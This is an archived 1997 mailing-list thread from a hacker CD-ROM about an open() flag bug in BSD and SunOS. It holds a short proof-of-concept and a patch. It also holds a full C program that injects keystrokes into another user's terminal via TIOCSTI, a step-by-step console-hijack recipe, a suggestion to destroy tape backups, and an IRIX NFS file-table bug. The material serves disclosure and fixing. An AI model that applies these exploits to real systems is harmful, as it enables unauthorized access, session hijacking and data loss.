home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / open_bug.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  10.4 KB  |  333 lines

  1.  
  2. [ This affects {Free,Net,Open}BSD. Joerg Wunsch fixed it yesterday in
  3.   freebsd-current. - a1 ]
  4.  
  5. This was sent to me recently...  It seems to be a pretty serious hole
  6. in open() and permissions...
  7.  
  8. Note, in the following, open() succeeds, and ioctls are probably
  9. executed...
  10.  
  11. /*
  12.  * This will give you a file descriptor on a device you should not have
  13.  * access to.  This seems really, really screwed up, since holding a fd
  14.  * lets you do a lot of ioctls that you should not be able to do...
  15.  */
  16. #include <fcntl.h>
  17. #include <stdio.h>
  18. #include <unistd.h>
  19. #include <err.h>
  20.  
  21. int
  22. main(int argc, char **argv)
  23. {
  24.   int fd;
  25.  
  26.   fd = open("/dev/rsd0a", -1, 0);
  27.  
  28.   if (fd < 0)
  29.     err(1, "open");
  30. }
  31.  
  32.  
  33. ----------------------------------------------------------------------------
  34.  
  35. In muc.lists.freebsd.security, you wrote:
  36. >  fd = open("/dev/rsd0a", -1, 0);
  37.  
  38. Yep. This definitely works on {Free,Net,Open}BSD.
  39.  
  40. This is a variant of a bug Theo de Raadt found in SunOS back in the 1980s.
  41. The basic issue is that the code that guards access to the device-specific
  42. open() routine checks explicitly for FREAD, FWRITE, and O_TRUNC, and
  43. passes the call through if none of these are set. Theo's bug involved
  44. using "3" for the open() flag.
  45.  
  46. The problem here is that before calls to open() are even passed to the
  47. vnode open() routine (after the vnode is looked up by the generic
  48. vfs_syscalls open() syscall handler), the flags field is incremented by
  49. one:
  50.  
  51. vfs_syscalls.c:open()
  52.  
  53.         ...
  54.  
  55.         flags = FFLAGS(uap->flags);
  56.  
  57.         ...
  58.  
  59. where FFLAGS() is:
  60.  
  61. ./sys/fcntl.h:#define  FFLAGS(oflags)  ((oflags) + 1)
  62.  
  63. As you can see, passing a "-1" to open() will result in "flags" becoming
  64. "0" - open() ordinarily never passes "0" to the vnode code, since "0"
  65. becomes "1" after being converted to fflags format.
  66.  
  67. A fun game you can play with practically no programming ability is to
  68. exploit the fact that some devices will initialize themselves immediately
  69. upon being opened - particularly amusing is the SCSI tape driver,
  70. sys/scsi/st.c, which will rewind itself when opened. Simply run the
  71. previously posted example code on /dev/rst0 and destroy tonight's backup.
  72.  
  73. If you want to hack this fixed in FreeBSD, you can apply the enclosed diff
  74. to your kernel; this is a total hack, and someone else will provide a
  75. "correct" fix soon enough.
  76.  
  77. Incidentally, this is yet another piece of evidence supporting the
  78. presence of another systemic secure-coding problem - sanity checking
  79. integer arguments and guarding against overflow. This is far from the only
  80. place that I've seen problems with unexpected interactions owing to
  81. surprise negative arguments. Anyone want to take a guess as to what
  82. strncpy() does when it gets a negative "count" argument? Think that can't
  83. happen? Think pointer arithmetic.
  84.  
  85. --
  86. -----------------------------------------------------------------------------
  87. Thomas H. Ptacek                                        Secure Networks, Inc.
  88. -----------------------------------------------------------------------------
  89.                                                      "mmm... sacrilicious..."
  90.  
  91. --- vfs_syscalls.c-orig Thu Oct 23 01:21:58 1997
  92. +++ vfs_syscalls.c      Thu Oct 23 01:21:19 1997
  93. @@ -690,6 +690,9 @@
  94.                 return (error);
  95.         fp = nfp;
  96.         flags = FFLAGS(uap->flags);
  97. +       if(!flags)
  98. +               flags++;
  99. +
  100.         cmode = ((uap->mode &~ fdp->fd_cmask) & ALLPERMS) &~ S_ISTXT;
  101.         NDINIT(&nd, LOOKUP, FOLLOW, UIO_USERSPACE, uap->path, p);
  102.         p->p_dupfd = -indx - 1;                 /* XXX check for fdopen */
  103.  
  104.  
  105. ------------------------------------------------------------------------
  106.  
  107.  
  108. > This is a variant of a bug Theo de Raadt found in SunOS back in the 1980s.
  109. > The basic issue is that the code that guards access to the device-specific
  110. > open() routine checks explicitly for FREAD, FWRITE, and O_TRUNC, and
  111. > passes the call through if none of these are set. Theo's bug involved
  112. > using "3" for the open() flag.
  113.  
  114. The bug worked in SunOS 4.0 and 4.1, and if I remember correctly it
  115. was fixed in 4.1.3.  What you basically did was this:
  116.  
  117. - lose your tty association
  118. - open the console device you want to attack (ie. say, root is
  119.   logged into the console)
  120. - fd = open("/dev/console", 3); close(fd);
  121. - now you have just gained tty association.
  122. - fd = open("/dev/tty", O_RDWR).  This is the same as having opened
  123.   /dev/console, but this time I have permission to read & write.
  124. - ioctl(fd, TIOCSTI, &c) ...
  125.  
  126. Of course, TIOCSTI simulates console input.
  127.  
  128. That this basic bug is still around is pretty dissapointing.  I
  129. reported the bug to Sun, but I guess they never told anyone else about
  130. it, and hence it did not get fixed in the standard BSD code.
  131.  
  132. I'm a little dissapointed in myself for not having looked to see if
  133. this bug still existed.  Of course, the routed problems still exist
  134. too, and that bug is about as old. I fixed it in OpenBSD yesterday.
  135.  
  136. Any vn_open() with FREAD|FWRITE == 0 fails with EINVAL.
  137.  
  138. here's the program I wrote a VERY VERY long time ago.  (Neato, it has
  139. some little buffer overflows in it ;-)
  140.  
  141. ----------------------------------------
  142.  
  143. #include <sys/types.h>
  144. #include <sys/ioctl.h>
  145. #include <sys/signal.h>
  146. #include <sys/file.h>
  147. #include <stdio.h>
  148.  
  149. #define ECHAR ((unsigned char)0x1d)
  150.  
  151. unsigned char tty[80];
  152. int fd, p[2];;
  153. int v = 1, sc = 1;
  154.  
  155. /* ----------------------------------------------------------------------
  156.  * MAIN:
  157.  * ------------------------------------------------------------------- */
  158. main(argc, argv)
  159. int argc;
  160. char **argv;
  161. {
  162.     int i, j, x;
  163.     unsigned char c;
  164.  
  165.     if( argc<2 ) {
  166.         fprintf(stderr, "Usage: %s [-v] tty\n", argv[0]);
  167.         exit(0);
  168.     }
  169.  
  170.     if( !strcmp(argv[1], "-v") ) {
  171.         sprintf(tty, "/dev/%s", argv[2]);
  172.         v = 1;
  173.     } else sprintf(tty, "/dev/%s", argv[1]);
  174.  
  175.     printf("The escape character is ^]\n");
  176.     status(0);
  177.  
  178.     pipe(p);
  179.     if( fork() == 0) {
  180.         close(p[1]);
  181.  
  182.         x = getpgrp(0);
  183.         signal(SIGTTIN, SIG_IGN);
  184.         signal(SIGTTOU, SIG_IGN);
  185.  
  186.         ioctl(open("/dev/tty",0), TIOCNOTTY, 0);
  187.         if( open(tty, 3) <0)
  188.             open(tty, O_WRONLY);
  189.         fd = open("/dev/tty", 2);
  190.         setpgrp(0,x);
  191.  
  192.         while(1) {
  193.             x = read(p[0], &c, 1);
  194.             if(x==1) ioctl(fd, TIOCSTI, &c);
  195.             if(x==0) exit();
  196.         }
  197.  
  198.     } else {
  199.         close(p[0]);                                            /* me */
  200.         echo(0);
  201.  
  202.         while( read(0, &c, 1) == 1) {
  203.             c &= 0x7f;          /* kill parity bit */
  204.             if(c==ECHAR) {
  205.                 if( read(0, &c, 1) == 1) switch( c&0x7f ) {
  206.                     case 'q':
  207.                     case 'Q':   die();
  208.                                 break;
  209.                     case 'c':
  210.                     case 'C':   sc = !sc;
  211.                                 status(1);
  212.                                 break;
  213.                     case 'v':
  214.                     case 'V':   v = !v;
  215.                                 status(1);
  216.                                 break;
  217.                     case 's':
  218.                     case 'S':   status(1);
  219.                                 break;
  220.                     case '?':
  221.                     case 'h':
  222.                     case 'H':   status(1);
  223.                                 printf("\n\r? - this screen\n\r");
  224.                                 printf("q - quit\n\r");
  225.                                 printf("v - verbose\n\r");
  226.                                 printf("c - control characters\n\r");
  227.                                 printf("s - status\n\r");
  228.                                 break;
  229.                     default:    send(ECHAR);
  230.                                 send(c);
  231.                                 break;
  232.                     }
  233.                 else die();
  234.             } else send(c);
  235.         }
  236.         die();
  237.     }
  238. }
  239.  
  240. /* ----------------------------------------------------------------------
  241.  * SEND:
  242.  * ------------------------------------------------------------------- */
  243. send(c)
  244. unsigned char c;
  245. {
  246.     unsigned char c2;
  247.  
  248.     c &= 0x7f;
  249.     write(p[1], &c, 1);
  250.     if(v) {
  251.         if( c==' ' || c=='\t' ) {               /* tab and space */
  252.             write(1, &c, 1);
  253.         } else if( c=='\r' || c=='\n' ) {       /* return */
  254.             write(1, "\r\n", 2);
  255.         } else if( c<' ' ) {                    /* control characters */
  256.             if(sc) {
  257.                 write(1, "^", 1);
  258.                 c2 = c & 0x7f | 0x40;
  259.                 write(1, &c2, 1);
  260.             }
  261.         } else {                                /* normal characters */
  262.             write(1, &c, 1);
  263.         }
  264.     }
  265. }
  266.  
  267. /* ----------------------------------------------------------------------
  268.  * ECHO:
  269.  * ------------------------------------------------------------------- */
  270. echo(n)
  271. int n;
  272. {
  273.     struct sgttyb ttyb;
  274.  
  275.     ioctl(0, TIOCGETP, &ttyb);
  276.     if(n) ttyb.sg_flags = (ttyb.sg_flags | ECHO) & ~RAW;
  277.     else ttyb.sg_flags = (ttyb.sg_flags & ~ECHO) | RAW;
  278.     ioctl(1, TIOCSETP, &ttyb);
  279. }
  280.  
  281. /* ----------------------------------------------------------------------
  282.  * DIE:
  283.  * ------------------------------------------------------------------- */
  284. die()
  285. {
  286.     echo(1);
  287.     exit(0);
  288. }
  289.  
  290. status(x)
  291. int x;
  292. {
  293.     if(x) printf("\n\r");
  294.     printf("verbose:%d control:%d\n\r", v, sc);
  295. }
  296.  
  297.  
  298.  
  299. ----------------------------------------------------------------------------------
  300.  
  301.  
  302. As long as we're on the topic of broken open() calls, here's one
  303. I discovered last february in IRIX 6.2.
  304.  
  305. Basically, if you have SGI NFS clients mounting filesystems from
  306. SGI NFS servers with "root-as-nobody" access (access= entry, but
  307. no root= entry), you can open() any regular file from the NFS
  308. client.   You can't read it, but you can open it.   Once you've
  309. opened it, this tends to corrupt the kernel file tables.   Often
  310. this results in the following possibilities:
  311.  
  312.         - Root on the client can now read the file.
  313.         - No one else can access the file.
  314.  
  315. This continues until the machine is rebooted, thus it's most likely
  316. only a problem in the SGI NFS client side of the software.
  317.  
  318. SGI did finally create Bug #465954, but I've been told that it's
  319. unlikely that it'll be fixed anytime soon.
  320.  
  321. SGI's only response has been the following:
  322.  
  323. "The only workaround at this time for Bug #465954 is to specify
  324. the root= option in /etc/exports. One of our lead engineer has
  325. stated in the bug report that this does not cause a security problem,
  326. so it should be safe for you to implement."
  327.  
  328. The only useful workaround I've been able to determine is to make
  329. sure that any non-"root-as-nobody"-readable files are located in
  330. directories that are also not accessible by "root-as-nobody" so
  331. that this condition never pops up.
  332.  
  333.